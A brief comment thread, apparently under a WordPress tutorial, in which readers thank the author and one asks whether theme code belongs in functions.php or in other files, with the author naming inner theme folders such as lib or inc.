Thanks, Brother <3

Thanks too :)

Thanks a lot.

Welcome brother :)

Dear brother -
instead of the functions.php which file will be better to place the code ?

As you wish, but I'm using the file in core file not main functions.php like lib folder, theme options folder, inc folder or too much inner file/folder
